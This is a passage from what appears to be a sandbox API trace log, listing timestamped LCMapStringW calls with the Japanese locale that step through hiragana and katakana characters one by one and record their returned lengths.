dwMapFlags=0x600000, lpSrcStr="ぃǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="いǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぅǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="うǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぇǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="えǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぉǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="おǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="かǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.133] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="がǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.142] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="きǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.142] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぎǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="くǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぐǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="けǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="げǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="こǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ごǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="さǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ざǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="しǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="じǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="すǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ずǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="せǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぜǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="そǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぞǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="たǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="だǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ちǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぢǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="っǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="つǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="づǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="てǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="でǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="とǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="どǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="なǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="にǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぬǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ねǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="のǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="はǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ばǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぱǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ひǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="びǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぴǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ふǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぶǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぷǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="へǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="べǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぺǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ほǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぼǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ぽǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="まǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="みǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="むǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="めǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="もǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゃǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="やǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゅǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.143] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゆǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ょǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="よǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="らǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="りǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="るǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="れǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ろǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゎǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="わǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゐǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゑǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="をǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="んǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゔǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゕǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゖǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゗Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゘Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゙Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゚Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゛Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゜Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゝǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゞǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゟǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="゠Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ァǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="アǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ィǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="イǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゥǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ウǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ェǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="エǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ォǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="オǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="カǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ガǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="キǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ギǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="クǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="グǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ケǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゲǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="コǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゴǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="サǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ザǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="シǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ジǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="スǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ズǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="セǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゼǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ソǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.144] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゾǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="タǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ダǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="チǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヂǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ッǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ツǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヅǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="テǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="デǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="トǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ドǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ナǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ニǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヌǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ネǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ノǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ハǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="バǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="パǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヒǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ビǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ピǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="フǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ブǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="プǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヘǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ベǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ペǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ホǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ボǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ポǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="マǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ミǛ", cchSrc=1, 